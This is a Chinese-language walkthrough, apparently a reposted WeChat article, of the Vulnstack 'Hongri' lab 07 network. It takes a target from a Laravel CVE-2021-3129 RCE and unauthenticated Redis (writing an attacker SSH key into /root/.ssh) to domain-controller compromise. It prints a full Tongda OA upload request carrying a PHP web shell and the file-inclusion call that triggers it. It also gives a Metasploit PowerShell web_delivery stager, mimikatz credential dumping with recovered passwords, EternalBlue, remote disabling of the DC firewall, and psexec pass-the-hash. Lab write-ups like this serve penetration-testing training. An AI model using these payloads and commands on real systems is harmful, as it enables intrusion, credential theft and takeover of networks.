红日靶场07详解

admin 2022年5月30日01:25:16评论340 views字数 6699阅读22分19秒阅读模式
红日靶场07详解

点击上方“蓝字”,关注更多精彩


红日靶场06下载完机器后,可能是环境的问题无法搭建,就先跳过,有时间再研究06。这个07靶场来来回回搞了好几次,电脑配置不行,崩了很多次。。。

环境搭建

共5台靶机在此链接进行下载,按照描述搭建环境即可,描述写得十分详细这里不多赘述。

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

红日靶场07详解

红日靶场07详解

信息收集

主机发现

红日靶场07详解

端口扫描

红日靶场07详解

访问80端口发现404,重启了几次nginx服务还是不行,后来看到网上别的师傅的复现,80仅仅是一个博客,重点放在81上即可。

81端口发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14),Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

红日靶场07详解

目录扫描

红日靶场07详解

Laravel漏洞搜索与利用

在2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition  组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。参考文章:《Laravel Debug mode RCE(CVE-2021-3129)漏洞复现》

searchsploit

searchsploit发现没有漏洞利用,那就百度!

 ┌──(kali kali)-[~/Documents/ATT&CK7] └─$ searchsploit laravel ------------------------------------------------ ---------------------------------  Exploit Title                                 | Path ------------------------------------------------ --------------------------------- Laravel - 'Hash::make()' Password Truncation Se | multiple/remote/39318.txt Laravel 8.4.2 debug mode - Remote code executio | php/webapps/49424.py Laravel Administrator 4 - Unrestricted File Upl | php/webapps/49112.py Laravel Log Viewer < 0.13.0 - Local File Downlo | php/webapps/44343.py Laravel Nova 3.7.0 - 'range' DoS               | php/webapps/49198.txt PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - | linux/remote/47129.rb UniSharp Laravel File Manager 2.0.0 - Arbitrary | php/webapps/48166.txt UniSharp Laravel File Manager 2.0.0-alpha7 - Ar | php/webapps/46389.py ------------------------------------------------ --------------------------------- Shellcodes: No Results

Laravel Debug mode RCE漏洞利用

尝试使用这个exp工具 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP,得知了webshell地址之后,发现蚁剑无法链接,而且查了才知道,这个shell只能通过哥斯拉2.0去连接。因为不是主线,这里就不多赘述了哈。

红日靶场07详解

漏洞利用--redis未授权

由于之前扫描发现了6379端口redis服务的开放,于是乎开始尝试使用redis未授权。可以看到直接连就连上去了。不过不要开心太早,连上去也有可能没有权限。

红日靶场07详解

对于redis未授权漏洞是一个老生常谈的攻击手法了,有四种攻击方式:1、写入webshell 2、写入ssh公钥(正好这个靶机存在22端口)3、写入计划任务进行bash反弹shell 4、redis主从复制。

redis未授权--主从复制攻击

我这里懒得敲命令了,直接上脚本,但是脚本出现了unknown command这个报错,这条报错在redis服务中很常见,多数是因为低版本导致的。

红日靶场07详解

无奈之下,只能手动进行bash反弹测试

redis未授权--bash反弹

这样设置是回不来的,因为目标是ubuntu系统,所以要么设置到/etc/crontab,要么就不用。

红日靶场07详解

redis--写入ssh公钥

1、kali生成ssh公私钥对

ssh-keygen

2、设置要写入的redis路径和文件名

 redis-cli -h 192.168.31.6 config get dir config set dir "/root/.ssh" config get dbfilename config set dbfilename authorized_keys

3、处理kali公钥内容,首尾添加换行

红日靶场07详解

4、写入kali公钥

cat id_rsa.pub | redis-cli -h 192.168.31.6 -x set b

5、连接成功

ssh -i id_rsa root@192.168.31.6

红日靶场07详解

边界机MSF上线

利用scp命令(这里不需要再输入密码了,因为直接公钥连接了)传输木马过去,同时开启msf监听上线成功。

红日靶场07详解

红日靶场07详解

一层内网渗透

本地信息收集

红日靶场07详解

上图可以看到52.20:8000就是Laravel,也就是做了反向代理的Laravel网站,可以在52.10上找到nginx的配置详情。

红日靶场07详解

网络信息收集

红日靶场07详解

红日靶场07详解

构建隧道

配置frpc.ini,将52.30的8080端口转发到本地的8888端口

红日靶场07详解

红日靶场07详解

访问到了内网机器的OA系统,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。

通达OA v11.3 漏洞利用

https://blog.csdn.net/szgyunyun/article/details/107104288

红日靶场07详解

大概的方法就是前端改包绕过验证进入后台,随后文件上传图片马,之后文件包含即可getshell。我这里就不做前端绕过验证了

 POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.31.84:8888 Content-Length: 658 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close  ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE"  2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P"  123 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID"  1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg  <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--

红日靶场07详解

文件包含图片马,getshell成功

POST /ispirit/interface/gateway.php HTTP/1.1Host: 192.168.31.84:8888Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../attach/im/2205/1702339734.jpg"}&cmd=whoami

红日靶场07详解

MSF上线

1、powershell上线

msf生成powershell的payload直接让目标机器上线

 use exploit/multi/script/web_delivery set lhost 192.168.31.84 set lport 6541 show targets set target 2(PSH, powershell) run

红日靶场07详解

红日靶场07详解

2、wget上线

wget访问这个链接就行了

红日靶场07详解

通过信息收集发现了此台机器还是一个边界机,存在第二层内网93.0/24,到目前我们发现的机器为这些。

红日靶场07详解

二层内网渗透

MSF会话转到CS

红日靶场07详解

简单信息收集

 net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user                 # 查看本机用户列表 net user /domain         # 查看域用户 net localgroup administrators   # 查看本地管理员组(通常会有域用户) net view /domain         # 查看有几个域 net user 用户名 /domain   # 获取指定域用户的信息 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain    # 查看域中某工作组 net group "domain admins" /domain  # 查看域管理员的名字 net group "domain computers" /domain  # 查看域中的其他主机名 net group "domain controllers" /domain  # 查看域控制器(可能有多台)

目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。

内网资产汇总

Server IP
Microsoft DNS 192.168.52.2
PC1 192.168.52.30 192.168.93.20
DC 192.168.93.30
PC2 192.168.93.40

抓取域用户密码

用msf或者cs软件都可以,也可以直接上传mimikatz。msf命令如下,不过注意需要迁移到一个x64的进程。不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏,可以迁移到mysqld进程中不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏)

 load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords

红日靶场07详解

成功抓到域管理员账户密码administrator:Whoami2021

域成员win7账密:bunny:Bunny2021

横向渗透

查看当前主机网段信息再添加一个路由通向DC主机网段,利用扫描模块判断93.0网段下主机存活

use auxiliary/scanner/smb/smb_version

红日靶场07详解

永恒之蓝正向打击

93.40为内网下的另一台win7主机,93.30为2012域DC服务器,93.20为本地win7主机接着往下打

这里直接对win7扫描ms17-010漏洞:windows/smb/ms17_010_eternalblue

红日靶场07详解

攻击域控

远程关闭DC防火墙

回弹会话接着渗透第三层网段内的DC:2012 R2这台主机,前面有域管账户密码可以本地代理过去也行,但这次利用psexec smb传输直连会话,首先利用win7主机远程关闭2012 R2域控的防火墙

 net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator" net use sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.30 start unablefirewall #unablefirewall为创建的服务名 #binpath后面是运行exe文件的所在路径

红日靶场07详解

PTH

篇幅太长了,不截图了,msf hash传递就可以了。

use exploit/windows/smb/psexecset rhosts 192.168.93.30set SMBUser administratorset SMBPass Whoami2021set payload windows/meterpreter/bind_tcprun

权限维持

这里就不做了,方法很多,最基本的就是会话转到CS或者黄金票据等操作。

总结

总的来说红日靶场07不是特别难,就是麻烦一些,套路都是一样的。关键技术点都是前面靶场所提及到的,是一个很大的综合体。

知识点总结

这里总结一下我遇到的以及其他思路涉及到的知识点

Laravel RCE、redis未授权四种利用方式、通达OA v11.3前台绕过致使文件上传与包含getshell、docker逃逸、nginx反向代理突破、windows本地明文密码与hash获取、远程关闭防火墙、永恒之蓝攻击、域提权漏洞、windows server2012明文获取方式

references

https://xz.aliyun.com/t/9574#toc-12

https://www.freebuf.com/articles/network/264560.html

红日靶场07详解

往期推荐

底层原理 | Linux计划任务反弹shell探究

实战经验 | Vultr快速部署OpenVPN代理

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

红队建设 | 入侵痕迹抹除

红队建设 | 网络钓鱼技术

红队建设 |  流量加密

红队建设 | certutil详解

每日技巧05 | VM16安装macOS

Clash RCE漏洞复现与高级利用(配合社工)

CVE-2021-4034 Linux Polkit本地提权漏洞

CVE-2021-31760 Webmin CSRF致使RCE

CVE-2022-22965 Spring core RCE漏洞

          CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

红日靶场07详解
红日靶场07详解
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):红日靶场07详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月30日01:25:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红日靶场07详解http://cn-sec.com/archives/1064872.html

发表评论

匿名网友 填写信息